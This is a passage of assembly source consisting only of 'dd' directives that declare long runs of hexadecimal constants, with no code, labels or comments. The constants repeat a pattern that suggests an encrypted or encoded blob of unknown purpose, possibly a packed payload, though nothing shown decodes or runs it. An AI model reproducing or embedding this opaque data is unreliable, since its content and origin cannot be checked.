3E0B5E44h, 3E096348h, 32566558h dd 1E3E88B1h, 9F9A8F2Ch, 13B1A8A8h, 7E2D3EBAh, 2691286Bh dd 3256DB58h, 10A218B1h, 125931B0h, 2BD79586h, 52152993h dd 0B3305C05h, 53E8F556h, 0CDA90158h, 54AEB54Eh, 5331C70Ah dd 0DB48FED7h, 3256BAA1h, 0C4FA81Ah, 0D78462F8h, 7B46E0D5h dd 3CB3F72Fh, 3DBE2E31h, 32558235h, 883015B1h, 0FCD621FAh dd 0C9D63C50h, 64D2A158h, 0CE5657B2h, 3DBD5031h, 32559935h dd 3AD3E5B1h, 525675B1h, 549E31D7h, 0B237AD3Ah, 0B6594C4Ah dd 325654A7h, 0D1AD2B44h, 309451BEh, 0B359EAB1h, 325675B8h dd 5437DAD1h, 30899330h, 0C9D7C8D0h, 0B659B4D6h, 3256A943h dd 0C2B15549h, 325E6EBEh, 0B45975B1h, 3256BAB3h, 0B3303CD1h dd 3DD6A14Ah, 3254A335h, 0B2AA53B1h, 54362552h, 23122430h dd 3255F2BEh, 0B930BAB1h, 0C9D63C48h, 0E4D2A1C1h, 0CB5657B3h dd 3D4820D7h, 3256D436h, 0D1D612B1h, 0F4D71549h, 0DBE3E3Dh dd 538CE2BEh, 3DEE5531h, 3257C035h, 0BC5952B1h, 3256D5A9h dd 3256F958h, 0E23924B1h, 6D5EB21Ah, 0F79EB9F7h, 0FD5CCD27h dd 0E4F1F3EDh, 3D539531h, 3257BA35h, 33D4E5B1h, 0CE5675B1h dd 3256A958h, 2D3DA1B1h, 9556E59Ah, 0E03D0613h, 0D4A9DD8Bh dd 0BEB933B7h, 3D7BD431h, 32573235h, 3EDCB5B1h, 52565DB1h dd 731D11D7h, 3256DFBEh, 0B237ABB1h, 0B659BD8Fh, 3256EB9Dh dd 26B0F4D1h, 536AA82Ch, 32565258h, 0E00E40B1h, 8435F588h dd 0A8B9CF2Ch, 0C1627EFDh, 4188684Eh, 0DB3673BCh, 3256BAA0h dd 6D4B1700h, 0DEF16434h, 82861955h, 0DE3D9047h, 37D9DAD9h dd 5456EAB1h, 46888430h, 325853D0h, 88175DB1h, 0EF83180h dd 59F589B0h, 118F8CE5h, 52485ED7h, 3256E059h, 20001EB1h dd 47930BD0h, 3D7131F3h, 540E7D06h, 3D379D3Ah, 3256A333h dd 30D9DAB1h, 5256EAB1h, 0CAB1F5D0h, 53AA30D1h, 0B3ADDCD7h dd 0ABD2A159h, 3D5657B1h, 3256AC35h, 0FCD6B5B1h, 53B86077h dd 0CB48FED7h, 0CBA65D31h, 3257D6BEh, 54A3AEB1h, 0F2D7AC30h dd 32242FBEh, 3D36D5B1h, 3256E830h, 3D0F25B1h, 52374C0Eh dd 32565158h, 16DE20B1h, 4B7B6161h, 59DDB79Dh, 0C7AF802Dh dd 406C784Eh, 3ABF73BCh, 8956BAB1h, 55432A16h, 6FC1F6A8h dd 3257D5BEh, 0BBAAABB1h, 0B95929F4h, 3256EAB0h, 0B159144Dh dd 3256BAB5h, 53AAA8D1h, 33AAD332h, 3040D2BEh, 0BC59ABB1h dd 3256D5A1h, 3256E158h, 0BBC937B1h, 0D307A205h, 343000B1h dd 385B143Ah, 0B93651B6h, 32D9A446h, 5356D5B1h, 33D9E5E1h dd 0CB5675B1h, 4188383Ah, 54365BBCh, 0DB4C400Eh, 325657B9h dd 90A2D90Fh, 55C3D161h, 26AD3D0h, 3257FCBEh, 6AAEBAB1h dd 33E8DFBEh, 6536AEB1h, 6D97DCD7h, 3256B959h, 6A038AB1h dd 0FF7CD712h, 0B17FBED2h, 81EDE5E2h, 0B84230C9h, 0B937F06Ch dd 357A120Bh, 0C5D7CBB7h, 5D29088h, 95E1FF0Eh, 0DB061493h dd 3256BAB7h, 0ED90C611h, 0B9A390F3h, 3F258933h, 0B259CBB7h dd 3256D5B5h, 35ED55D7h, 3649CCD7h, 26A83D0h, 3252D3BEh dd 6436AEB1h, 3D0E36EBh dd 3257F83Eh, 58BF2DB1h, 0CB56EAB1h, 30AE3076h, 3D56BAB1h dd 3256563Eh, 0B359CEB1h, 325657B1h, 53BB6731h, 32569958h dd 324503B1h, 0B6E775B1h, 58CE1FE7h, 0BDDEF280h, 4708B764h dd 27138C3Ch, 3246429Ch, 229FD5B1h, 6A63D09Ah, 0BAD5C532h dd 808489B2h, 77918A96h, 3256AF49h, 3245BEB1h, 0F78BABB1h dd 49A1D318h, 2F4B7A73h, 0E8CE80F9h, 13304497h, 0BAECD6E5h dd 5250A3C0h, 0FFD6813Ah, 2DDDCAC8h, 3256D858h, 0B377D7B1h dd 0CD93F6AAh, 686882CEh, 0E95D15ECh, 32EC2ABEh, 3DAE57B1h dd 3256AA39h, 0EC6D2CB1h, 32D56FBEh, 52AE75B1h, 3256AA58h dd 0ED4B97B1h, 75115E2h, 750C9F12h, 3054CBB2h, 5EE8B5EDh dd 0DA6F486Ch, 325675BEh, 2623252Fh, 0A91B8057h, 0B1618A0Ch dd 68E85A70h, 6FDDCAD0h, 37D9DABDh, 5256EAB1h, 5396CABEh dd 32AEC732h, 3275D9BEh, 3EBFAEB1h, 765657B1h, 2344794h dd 0BD118377h, 317AEB8Bh, 38BF8DECh, 0B856BAB1h, 6D5549F1h dd 6F4DA59Ah, 3609DEAEh, 3256A758h, 59E5A9B1h, 0A355ACB5h dd 4B22E572h, 269139B4h, 0CD1EB44Dh, 0BF59514Eh, 325657B9h dd 32542ABEh, 5336D5B1h, 0B2362A82h, 85599350h, 88BFDB78h dd 0CE565DB5h, 524825D7h, 32565C58h, 0E9BFB2B1h, 5322CDD0h dd 6EAE70B2h, 424E6408h, 4FDDDBFFh, 0C9D6A8BDh, 3D2A15Ah dd 0DB5657B1h, 3256ABBAh, 22469DB3h, 0E4F6EC39h, 0B2602A89h dd 8C364A52h, 5EEF96C1h, 42AD2ED0h, 322ED3BEh, 0DBA3ABB1h dd 3256D4E0h, 0E8E9E5D1h, 53A9CABEh, 0DBBFBD77h, 32565DBAh dd 2BFDB15Ah, 0E3380495h, 0F56CB298h, 3256D4F6h, 5236EAB1h dd 0B330A23Ah, 53CCF15Eh, 0C64D9A30h, 0B937B63Ah, 25D85876h dd 0DB56ABB1h, 3256D5A3h, 12EA148Dh, 0FF262B6Bh, 0D9310D70h dd 2C1FCD1Fh, 0F2D52F3Fh, 3CBFA2B4h, 0CE56ABB5h, 3256C458h dd 0C89F8B1h, 4C2C9886h, 0D7EFD62Dh, 9794C68h, 0F5300683h dd 0DB5E58B6h, 3256ABB8h, 0E52C290Eh, 854196FAh, 5248FFDCh dd 2B0E4830h, 0B5595721h, 3256AEB4h, 0D4B7D6D7h, 0B659CA31h dd 3256D5A8h, 3256FE58h, 0C4F3D9B1h, 349B2557h, 317E2DE2h dd 2964DA22h, 921126ABh, 3DB52B30h, 3256D258h, 0F16251B1h dd 2CC538F4h, 0DBD67131h, 32565DA3h, 0B33ED317h, 3098AE2Dh dd 70828D81h, 344D2B64h, 6DDEAAB0h, 3D3615B0h, 3256BA36h dd 0DB363CB1h, 3256AEB8h, 0C98C0060h, 0F343AA04h, 32D4DA1Eh dd 5356EAB1h, 75918CD0h, 3256BAB3h, 3DD052B1h, 0DB56AEB1h dd 325657BBh, 5C10D2D6h, 5F22E15Fh, 0F5DD4829h, 32567E58h dd 0AF43CFB1h, 0F15C2230h, 1E1A3BF2h, 0C7509732h, 32558758h dd 32593CB1h, 0D981EAB1h, 72E5E8Fh, 9B91F8AFh, 15A81401h dd 0CD7C862h, 0B659C721h, 3256AB37h, 324156BEh, 20BFEAB1h dd 935675B1h, 0C7041062h, 4B8CD00Bh, 367177C2h, 9F2E2473h dd 3246425Ch, 239DD5B1h, 733167F8h, 53BD849h, 6CD4D463h dd 0CD62C99h, 0B4D3A121h, 3D5657B1h, 3256B93Dh, 325B3CB1h dd 7C49EAB1h, 326E94A8h, 94E54BBh, 54056494h, 0A2A9D030h dd 15D25821h, 0CB56ABB1h, 32568958h, 22BF8AB1h, 25675B1h dd 16218A88h, 4524CED0h, 39BD5CC7h, 52E5EDEAh, 325627BEh dd 5336D5B1h, 0F5DD8BD0h, 26BE15D1h, 0F756BAB1h, 714AF972h dd 0A34F304Dh, 0B19F5B28h, 0D87D8B02h, 6B1A7860h, 539561D7h dd 5385CABEh, 3254E658h, 38BFA4B1h, 0A356AEB1h, 36D7178Ch dd 52D396C5h, 34D45805h, 5250E7C4h, 32567A59h, 0C2E788B1h dd 68FA13F9h, 0A49B81A2h, 1647FB2Ah, 72F56130h, 8A09D946h dd 6CECF0CEh, 32459CD0h, 1286BAB1h, 1238FDDFh, 0B5B3E9EDh dd 0F5F308CCh, 933484B3h, 3D36853Bh, 54073906h, 530D863Ah dd 0E5D6DAE7h, 0BF593D34h, 3256AEB1h, 63A3020Eh, 0CD37CAC2h dd 3F24BA23h, 325D03B7h, 63C675B1h, 74961018h, 0A2760F06h dd 3D96A59Ah, 32566235h, 33D0A4B1h, 0CE56D5B1h, 324262BEh dd 3DBF75B1h, 1656BAB1h, 398E99ABh, 23C6F67h, 68F99EFh dd 0FADD74A8h, 34E4584Dh, 5250E7C4h, 5385FED7h, 3256E358h dd 0CB00A8B1h, 5436603Ah, 0DB079C3Ah, 3256ABB7h, 91A46B02h dd 530F0A2Eh, 0A0A98DE4h, 345BC88Bh, 3258B4D1h, 1CCEAEB1h dd 16142AC1h, 0D6E7B5B3h, 8CFC120Ch, 0B8850330h, 6F373703h dd 3D989148h, 32565C3Bh, 0EBA152B1h, 325CDFBEh, 0B936ABB1h dd 32D3DA62h, 5356EAB1h, 4FD580EFh, 0B759BB49h, 32565D33h dd 0F4D7C8D1h, 0BD5978FDh, 3256ABB7h, 32565ABEh, 8237EAB1h dd 32429CF8h, 83B6BAB1h, 0C34B0187h, 0BD4F2A03h, 62F0416Dh dd 0A4E45018h, 0CAFCC9C3h, 0B75952D7h, 0CAFD1349h, 33100CBEh dd 3253B5D1h, 0FA50AEB1h, 0B3731876h, 1843B641h, 0B3308B99h dd 53543760h, 32429C1Ah, 0C2B1BAB1h, 9B6B2DDFh, 310B999Fh dd 4BAE2A07h, 507831F0h, 0F1BF1E1Bh, 0DB56EAB1h, 325675BBh dd 0BA08D8EBh, 205E1825h, 4FD58F02h, 0B7595549h, 3256AB3Ch dd 32405DBEh, 23BFEAB1h, 6B5675B1h, 20E52F49h, 657C024Dh dd 5914345Ch, 2EF45FC4h, 39EECD49h, 99302978h, 3256E358h dd 7CDB93B1h, 4EF95F2Eh, 8A307F2Ah, 52AA2ABEh, 0ECA8E8D7h dd 0AFA14D1h, 0B65990F1h, 3256EAB1h, 993014D0h, 324D3ABEh dd 0DA365DB1h, 3256AEA2h, 21D17CCAh, 38F8EE7Bh, 7E3929Dh dd 0C707078h, 6DD45C09h, 74E0B5D0h, 325DB4B0h, 3EEAEB1h dd 6254F9BCh, 0FC3344C4h, 0DBA37E47h, 3256EA93h, 0F9E97AD1h dd 52F249D0h, 0DB9EEABEh, 3256AEA0h, 0E944F7D3h, 4B332BC1h dd 0E202C85h, 0C3FA9138h, 0F5DD1482h, 3D36E144h, 0CA36A60Eh dd 5337793Bh, 0BD5937E8h, 3256ABB1h, 5208B449h, 3D098B49h dd 32566238h, 324453B1h, 9C6A5DB1h, 0B8A30CD2h, 4A9375A1h dd 1FBEFB0Eh, 0A27B421Ah, 3A941F78h, 35D97AB1h, 3D56BAB1h dd 32565C3Bh, 0DB0352B1h, 325657BEh, 0E260B6DAh, 3559B479h dd 190F7BE8h, 0B99BEECCh, 2FD5B55Dh, 3D565DB1h, 3256B939h dd 3244BEB1h, 0AB86ABB1h, 388A164Ch, 674AFC13h, 0A1034596h dd 56F16857h, 0B6593DD1h, 3256AEB1h, 3256BFD0h, 0B30CABB1h dd 3FF5F95Bh, 22BF12B7h, 0ED5675B1h, 488224E0h, 684A50CEh dd 0A2AE00D2h, 0CB598DE2h, 3D5EEE3Ah, 3256D83Bh, 325E03B1h dd 4C5875B1h, 0DB0F1579h, 0B0DFF6AAh, 345BDF74h, 3BBF3648h dd 0C056ABB1h, 842B6920h, 8D8AACB6h, 37BFBC49h, 9C56BAB1h dd 0CA9239Eh, 5256AA73h, 0B330A707h, 53AF8353h, 3EDEDAE4h dd 3D56EAB1h, 32567339h, 32DCB5B1h, 0B9565DB1h, 0C3D6CE5Dh dd 5F03EDCFh, 0B137F9C3h, 0B2592D75h, 3256EAB0h, 32429C4Dh dd 0E332BAB1h, 787D1DF6h, 48AE86EEh, 0EFC84F6Ah, 8EAFE1C4h dd 52365C34h, 0B9F93230h, 0B0EC5781h, 533AF913h, 3256B549h dd 0B30CAEB1h, 3FF5B35Bh, 5436CBB7h, 3D44B10Eh, 53371506h dd 0CA13B249h, 3256BAB1h, 325FB4D1h, 64EDAEB1h, 65D44653h dd 3D14A324h, 3256D339h, 32D2E5B1h, 535675B1h, 32AAFF76h dd 0CB565DB1h, 0DBAE6E82h, 325657B8h, 1027A44Ah, 372A74ADh dd 2CDD8CA9h, 32566158h, 9A9F39B1h, 415970B5h, 498EBAA6h dd 16FA37BCh, 0D8F0ABF5h, 0ECD412BFh, 3350E7C2h, 0DB5675B1h dd 3256BAB9h, 93F5C1B2h, 0B11CB988h, 0A2ADD6D7h, 33D3A421h dd 0C756D5B1h, 3DBE1131h, 3252DF35h, 0EDDDDAB1h, 69A6D6E7h dd 0B859EED0h, 325657B0h dd 0DBAD2B48h, 36C751BEh, 8C36EAB1h, 0DDD60DBh, 3256BC58h dd 72141CB1h, 53A1202Dh, 35BF37F1h, 8756ABB1h, 3C92D503h dd 0B930CBA8h, 0C9D61442h, 56D2B55Ah, 3D565DB5h, 3256AF36h dd 3D36ABB1h, 3256AA3Ch, 0B93020B1h, 0CB168B43h, 52A69231h dd 0C7734E31h, 0C9D73BD0h, 0B6592EBEh, 3256538Ah, 37D4A84Dh dd 5250D2AFh, 2DB10A30h, 0E4DD1AB6h, 0B2A3FAD0h, 0B659BF4Ah dd 3256AD48h, 3257DFBEh, 0B2A3ABB1h, 0B659364Ah, 3256E97Fh dd 3244F4BEh, 3FBFBAB1h, 16565DB1h, 2A3E80F1h, 0DF42FD14h dd 6074FC58h, 55AD54D7h, 0F4D2E552h, 525675B2h, 48FC460Ah dd 0B4593DC7h, 3256AEB1h, 538CE8BEh, 0C2B52BD0h, 3256DC58h dd 8D138FB1h, 83C59BF6h, 0B3591476h, 32565DB4h, 0C73C1BD1h dd 42ADD7D0h, 31E32FBEh, 54A3D5B1h, 34BFF43Ah, 825675B1h dd 0FAAFC490h, 0CAB5DDF1h, 32512ABEh, 523657B1h, 0E1E1A4D0h dd 0B5E8B5D0h, 0DA0F54A3h, 325675B6h, 0D458C172h, 638F4DD6h dd 0B237F1E8h, 0B659EF4Ah, 3256AAC4h, 37685548h, 333D6EBEh dd 0B2A375B1h, 0B659978Fh, 32565CD0h, 32572DBEh, 0B2AF57B1h dd 0B659C38Fh, 3256D4E0h, 3256F958h, 8AC552B1h, 93A67A95h dd 0B53673B9h, 4EEC94BFh, 4B2462C5h, 35DDA4F1h, 3D56D5B1h dd 3256EB3Bh, 0B0A98CB1h, 345BC96Fh, 34D152D1h, 3D56AEB1h dd 3256573Bh, 0CAE1A4B1h, 2CDDB3D0h, 0CAB16A44h, 3257F4BEh dd 54AFBAB1h, 0DAD7A630h, 32AD2ABEh, 54AA57B1h, 5236B53Ah dd 52985ED7h, 85598BD0h, 0D5D61476h, 32465341h, 955DB1h dd 0E67FEC11h, 600A8ADEh, 9FFA9C96h, 23BF79C8h, 0D356EAB1h dd 0E1E7D294h, 0ACFFB78Bh, 0CEC24C8Dh, 0F7C9C048h, 0B3ADD6D7h dd 80D2A471h, 0CE56D5B1h, 33DEE5D1h, 0CA5675B1h, 325D53E4h dd 90345DB1h, 5AABB28Fh, 904C05B0h, 8C45437h, 5250D8C3h dd 325903D1h, 587975B1h, 0A5F2B6CFh, 56B6F1EDh, 9F4828B1h dd 3245BF72h, 2BEEABB1h, 3A00A46Ah, 0EAD472FCh, 0DC9D1798h dd 6A504A7Eh, 3D37024Bh, 6F377106h, 98EF31D1h, 8830CB70h dd 0B9301923h, 0BB378B4Fh, 3CBF89F4h, 0E556BAB1h, 27A3071h dd 0EFE52091h, 85B89h, 20BFCAFCh, 8056D5B1h, 0BFD9559h dd 0C5677718h, 24D1028Dh, 0F70D215Eh, 4FD552F6h, 0B759564Dh dd 3256ADB9h, 3256C558h, 0C47ECB1h, 0CC51840h, 7E73B2h dd 17145916h, 3FEC252Bh, 3D5050BBh, 3256B834h, 32583CB1h dd 0E3ACEAB1h, 91E5A1ACh, 8311821Fh, 3BC13A42h, 2BD2A1E1h dd 0DB5657B1h, 3256ABA5h, 12487652h, 2CEE17DDh, 88712A1Eh dd 96A2A616h, 8679994Eh, 553016D1h, 0DCD7111Eh, 2B5B2D2Ch dd 0ECD45ED0h, 5250E7C2h, 8195F4D7h, 325352D9h, 22515DB1h dd 3DE37E88h, 32565732h, 0B37F0B1h, 0CEAEE58Dh, 4FD4E5E9h dd 0DB5675B4h, 3256BABBh, 10700BA6h, 0D086DEBAh, 88DDAA4Ah dd 345187F4h, 3256C658h, 0BF2EB9B1h, 4E752211h, 0EBE6A33Eh dd 7A5981C7h, 0AAF482C6h, 325CBEE1h, 3EEFABB1h, 9A462558h dd 97BCDDC4h, 4188F73Ah, 0BB59BCBCh, 32565DB9h, 32542ABEh dd 533657B1h, 0CB669788h, 325152BEh, 5236EAB1h, 0E2DD13D0h dd 0BD59E2D0h, 325658A5h, 2DEECED1h, 0DB025C53h, 3256ABB7h dd 11A1EB2Eh, 0B93752EDh, 88DD146Fh, 345BCB2Ah, 325ED4BEh dd 0BA59AEB1h, 325657B3h, 0B0D5CAD1h, 345BA42Ah, 0C6D68AA5h dd 8C3023F7h, 530EDF15h, 0BBAF6A38h, 62AEBEF6h, 0EBE958D1h dd 53A620D7h, 4188573Ah, 0BE59ECBCh, 325675B6h, 325737BEh dd 0C7AF5DB1h, 5266B23Ah, 0DA96E8BEh, 3256ABBEh, 751686E7h dd 78CD8E78h, 0BA0B6F9Eh, 6B55719Ch, 38BE3DD0h, 0CC56AEB1h dd 0CF93BE4Ah, 0A59B3DE6h, 20BE8F7Eh, 5B56EAB1h, 0BD1F2664h dd 575C0B3Dh, 7C8F05CAh, 0FB4B8AC2h, 6A370E03h, 3256A758h dd 0AC8E94B1h, 7294A1ACh, 915C2AADh, 3A093346h, 3604B44Dh dd 0DA36AEB1h, 325657A3h, 27AF9E54h, 5F667A58h, 0B5180F2Dh dd 34DA5B6Dh, 0B930520Dh, 0B9300473h, 7791CF43h, 32565549h dd 325F42B1h, 0DEE9D5B1h, 8BE139EDh, 0DB811F3Fh, 3256BA96h dd 0CA139A44h, 3256AEB0h, 32565F58h, 0A67544B1h, 21411D07h dd 3EDAE52Bh, 3D5675B1h, 3256BC3Fh, 32D652B1h, 0B956AEB1h dd 3F27CC0Bh, 5405CBB7h, 0FED42330h, 34D6E5EEh, 3D5675B1h dd 3256BA3Eh, 3EBF3CB1h, 0DD56AEB1h, 878F9626h, 0FD092C26h dd 0B10DCA6Ah, 3F277133h, 3CBF61B7h, 3656BAB1h, 28C5944Dh dd 57B69DC8h, 78ACEF28h, 5DF52D9h, 34D9DAD1h, 3D56EAB1h dd 32567530h, 65E8DCB1h, 75DF3C15h, 8559CEA1h, 53B7DD6Ah dd 3D555332h, 3256F234h, 33DBE5B1h, 0CB5675B1h, 0ECD47D48h dd 305050C2h, 0DB56AEB1h, 325657B4h, 37526BC9h, 32463C61h dd 6536EAB1h, 537AC4EBh, 3D544232h, 3254403Ch, 4FD556B1h dd 0B6595749h, 3256AB29h, 8459294Dh, 8936EBF7h, 5E149305h dd 3256B058h, 66C787B1h, 58A07F34h, 53B63C1Eh, 32562B18h dd 2AD3DAB1h, 0CB56EAB1h, 0B33015F1h, 54E94D5Eh, 99F79A30h dd 37BE2DD0h, 3217BE44h, 1FA3ABB1h, 3256D54Eh, 325E63BEh dd 0B25975B1h, 3256BAB3h, 0DAD53CD1h, 0B159CEB4h, 325657B3h dd 5436EB01h, 8EE53630h, 3256F959h, 7A6BBCB1h, 0CF4FC8A4h dd 0BA55B2F2h, 71034E32h, 0C944D776h, 0DB37CAEAh, 3256D5D4h dd 325863BEh, 3BBF75B1h, 6256BAB1h, 31D584F6h, 4E9441CDh dd 53AA37E2h, 4188313Ah, 6036D3BCh, 0C7088BD1h, 152FED0h dd 3256A858h, 7D4D10B1h, 3FDB9198h, 60D44D83h, 958B1BECh dd 0DB68E248h, 3256EABFh, 0C74B4D05h, 18D1C6EAh, 8DA1A79Eh dd 520DEEA8h, 61BED6D7h, 37D2A4E0h, 5456D5B1h, 35E0B30h dd 3256DCD0h, 0B7593AB1h, 32565D1Fh, 3256A158h, 15F79EB1h dd 0A5C3DFADh, 7751DED6h, 7C903228h, 21BFB3B2h, 0F256BAB1h dd 0B5E0A03Bh, 926A1185h, 14302ADDh, 0D011B803h, 0F2D583E9h dd 325D03B4h, 0B09675B1h, 26AA7BC1h, 0D212D99Eh, 0ECD4ADBDh dd 0CA505AC2h, 75DF53F9h, 0DB362DB9h, 3256EAB6h, 9C9B422Fh dd 8D293F73h, 247635E9h, 3E1127D0h, 24D558D1h, 0DA56ABB1h dd 3256D5A1h, 8D4416A6h, 7DEACEFBh, 12208F71h, 7406A025h dd 35BFCEEBh, 625657B1h, 0FEFA6304h, 5337C0F6h, 32575558h dd 32429CB1h, 62C5BAB1h, 457612ADh, 4FB4E425h, 6EE943FDh dd 628D9985h, 0EAA10405h, 41EF8CD1h, 0F47D14FDh, 3256B258h dd 3D5599B1h, 22110F58h, 0DB8EA048h, 3256ABB4h, 0E5C77AC1h dd 37966919h, 32567B58h, 2D3B7FB1h, 666D644Ch, 922F4746h dd 31146F32h, 3F257533h, 521E2DB7h, 0FDE79B03h, 3A11FCD0h dd 3256B358h, 1F4B3DB1h, 29E7D1FFh, 75DF7B22h, 325C42BDh dd 7950D5B1h, 71EDA5ECh, 0AA2FC4FCh, 32578D58h, 0F265A8B1h dd 3256AB58h, 92085DB1h, 74DC934Fh, 0E0D6B5B0h, 0B2FE8BF1h dd 32C3F0BEh, 0B336BAB1h, 9A87077Ah, 0F455CFBFh, 325EDEBEh dd 3D36ABB1h, 3256D532h, 0F2D58BB1h, 0F8D615B3h, 33EDDBBDh dd 0CE565DB1h, 0B65975BAh, 3256579Ah, 1BCC214Dh, 0DB50D91Fh dd 3256EABBh, 0A2B4FA4Eh, 1F22CE4Ch, 0D1D63C8Eh, 325B47B0h dd 36E57B1h, 5963F43Ch, 48B07EA7h, 316C8108h, 33D17A72h dd 0CA56BAB1h, 525E1A38h, 325020BEh, 0DDD757B1h, 56F1F010h dd 0CB372C3Ah, 0CB5AAD38h, 3256EE58h, 0B330DAB1h, 0DA74475Ah dd 3256AEB6h, 0A66CFF5Eh dd 614AA3FEh, 0C5378BEAh, 0B1598A69h, 325675B7h, 32563EBEh dd 85595DB1h, 0CD73CF7Ah, 3D5657B1h, 3256AA32h, 0F47D2CB1h dd 0DB8E1D44h, 325675BBh, 0F24879C6h, 0DB230F9Bh, 0B3366B7Eh dd 0AFB4955Fh, 0B930CBC7h, 3CA45560h, 0F2D58BD0h, 325C9CB3h dd 0BF1EBAB1h, 0E2245FC1h, 0EEF4E645h, 3D5E1038h, 3256A431h dd 325C3CB1h, 0F9E1EAB1h, 0FDA9A0DCh, 160500CAh, 0DB5A1A38h dd 3256AEBEh, 68D338DDh, 0E2FE6EE3h, 6819A3FBh, 0CAC4B7A5h dd 3D378949h, 3256AC37h, 3247B4B1h, 948AEB1h, 69A28642h dd 85C9BB6Ch, 6D1493D4h, 0FB118BA1h, 0E3D713D1h, 73E4FB0Dh dd 3FBF9ED0h, 0AF56AEB1h, 0FE278637h, 0BD7E37ABh, 401C51C4h dd 0B2368AE4h, 0B9599D72h, 3256BAB1h, 0FBD73BD0h, 0B937CC36h dd 0B759375Dh, 3256ABB3h, 21BF1D3Ah, 6856EAB1h, 41C0E09Ch dd 8C01EF3Dh, 6799247Fh, 0AE0DFB39h, 0B137552Ah, 52AF5775h dd 3256C158h, 0BE31E8B1h, 0AEBBACB8h, 0FE0727D4h, 0C6CC5ACBh dd 0E5F504BBh, 3256BF4Bh, 0B30CABB1h, 3FFB795Bh, 35D2E5B7h dd 525675B1h, 0B9303206h, 0B8593C46h, 3256AEAFh, 324EDFBEh dd 21BFABB1h, 0E356D5B1h, 0EB99A7F8h, 2615418Ah, 1BA79875h dd 1F4E3DC8h, 88DD8B6Ah, 345B2639h, 527B18D1h, 6D040B3Ah dd 0FB658BD0h, 32539CD1h, 48C4BAB1h, 5365473Ch, 3D569132h dd 32531435h, 0E2D7CBB1h, 4ACBE9E1h, 0B937CD04h, 47A989B6h dd 47A943BDh, 0DB36A4B9h, 3256AEA1h, 7BED1A4Ch, 951BBA36h dd 8B15D298h, 3AFC4BB3h, 68BABA0Fh, 5206DBA5h, 32564959h dd 403A31B1h, 0C2193B9Bh, 0C46F2537h, 4D751DB3h, 34F5A1CDh dd 32DA7A68h, 6D56BAB1h, 0C9DD3BE0h, 0D0BECFEEh, 0CE5657B9h dd 0B7596BBAh, 3256D58Ah, 324F67BEh, 0B45975B1h, 3256BAA2h dd 32565358h, 0F2EA30B1h, 0B196DAA9h, 9DE21DA9h, 0B9E71AA4h dd 33D4E5B6h, 0CB5675B1h, 3256E558h, 3ADB52B1h, 3D56AEB1h dd 32565539h, 0B137CBB1h, 23BFC176h, 0A856EAB1h, 8BCF319Ah dd 89325339h, 54D195F7h, 2EF50799h, 32564658h, 96000EB1h dd 9B42A3B0h, 0B45910A6h, 0CB022002h, 13BF7AE7h, 52A9A24Eh dd 0B3744A31h, 0DB134358h, 3FBFCAC0h, 0DB56D5B1h, 0BFE34565h dd 0A08B882Ah, 0FDEB2614h, 0CAAA1838h, 0B759CED1h, 325657B1h dd 0EFB42AD7h, 0B330B409h, 531C677Ah, 525A004Eh, 0DBAF31D7h dd 32565DB4h, 4B892DE4h, 47A936BFh, 38BFCBB9h, 0A056D5B1h dd 996BC0FCh, 649CFFF6h, 30D7B522h, 0B9565DB1h, 5A9CF61h dd 8A303748h, 35BFE82Bh, 7E56D5B1h, 5B8E28C2h, 0DA37332Bh dd 3256BD5Ch, 34D052D1h, 3D56AEB1h, 32565736h, 324242B1h dd 6F4CD5B1h, 319DC739h, 0AA261675h, 0FA18F6FEh, 0C2EAF3AEh dd 3937A35Ch, 2D25871h, 0DB56ABB1h, 3256D5BEh, 9A8F209Eh dd 526FF545h, 165B4D69h, 0DBF7F676h, 3256AEB8h, 368EA00Ch dd 0F292E9ECh, 31CC3CE1h, 8A36EAB1h, 514F7BC0h, 0B9376705h dd 0B859A1F4h, 3256AEB0h, 3D516E44h, 3255D433h, 33DADAB1h dd 0CB56EAB1h, 0CAAA304Eh, 3252C532h, 321BD9BEh, 0B259AEB1h dd 325657B0h, 3E292848h, 0ED2DAB1h, 5256EAB1h, 8FB19F09h dd 325953ACh, 0D3755DB1h, 0DD319513h, 42BFDB76h, 0EAAE0D5Fh dd 56BFB4EEh, 5256EAB1h, 3255F0BEh, 0B930BAB1h, 325AB461h dd 0FE48AEB1h, 9CF2D208h, 2CCFC88Ah, 8A3739EFh, 0CDA9154Eh dd 3259F1BEh, 38BFBAB1h, 42565DB1h, 7053206Bh, 1014CC6Dh dd 325312BEh, 0BC59D5B1h, 3256EAB9h, 3254F7BEh, 5336BAB1h dd 3CBFF642h, 0A456AEB1h, 0A83FBAEh, 25EE0765h, 7AAF2B72h dd 0CCC80380h, 0B1AF8A4Eh, 3D53AACEh, 32562535h, 4DD552B1h dd 0B75951A1h, 3256AB11h, 3256D058h, 274BF2B1h, 0DB179644h dd 3256BABAh, 2010E81Fh, 8AB44980h, 0B9CCBB4Ch, 8A36AFF6h dd 7FBEF48Dh, 3256FB58h, 664A72B1h, 0D3022757h, 94AC411Ch dd 0EDD1B9FDh, 0B937842Ch, 0B359A7EEh, 3256D5ABh, 324602D1h dd 6CFB75B1h, 0FEF66690h, 0EE7831AAh, 22776436h, 52083E82h dd 32BFCAD0h, 0DB56D5B3h, 3256EAB4h, 63A89EA6h, 3611311Eh dd 3250D9BEh, 0CB36AEB1h, 5389DCD7h, 3D5AF43Ah, 3256D938h dd 34D2E5B1h, 3D5675B1h, 3256BA31h, 33E0B4B1h, 0B336AEB1h dd 5DAC217Bh, 53C01CDCh, 0DB52923Ah, 3256EABDh, 0A9FCA7CAh dd 0ECC85F1h, 0BCD8087Ch, 0DB5AF13Ah, 325657BAh, 7B562669h dd 9D3931Fh, 9E6A7A1h, 0B7597DEEh, 3256BA03h, 0E3D73BD1h dd 6037AF74h, 3247BED1h, 5282ABB1h, 531BA69Ch, 0EAAA0F6Bh dd 0EE7C37E2h, 544F4452h, 5319D70Fh, 3256A458h, 0F5BD79B1h dd 0C4934309h, 0B9619977h, 19A3EEE6h, 8D3665E4h, 5D38CFE4h dd 97BCE3D7h, 2603ADD0h, 5486DCD1h, 0B937593Ah, 0BF59D9EEh dd 3256EAA7h, 32566458h, 0D093F6B1h, 0E49355EFh, 0D3BAFC7Ah dd 0D7419DE4h, 0E87D1C26h, 3256D958h, 0C457CEB1h, 9862216Bh dd 0CB635F9Ch, 37BDDEA4h, 0B759F449h, 325657A6h, 3256B958h dd 1B7D20B1h, 4E157612h, 84B4981Eh, 0D2E10EEFh, 0DB8A6C08h dd 3256AE2Ch, 32565258h, 4D29B7B1h, 75DD2509h, 325C03B5h dd 0F5D75B1h, 3F187133h, 77FD9644h, 325C2BBEh, 3D3657B1h dd 3256AB37h, 530982B1h, 0DB5AB53Ah, 325675A5h, 0D394083Eh dd 0B39FB762h, 15DE9942h, 2E4703BCh, 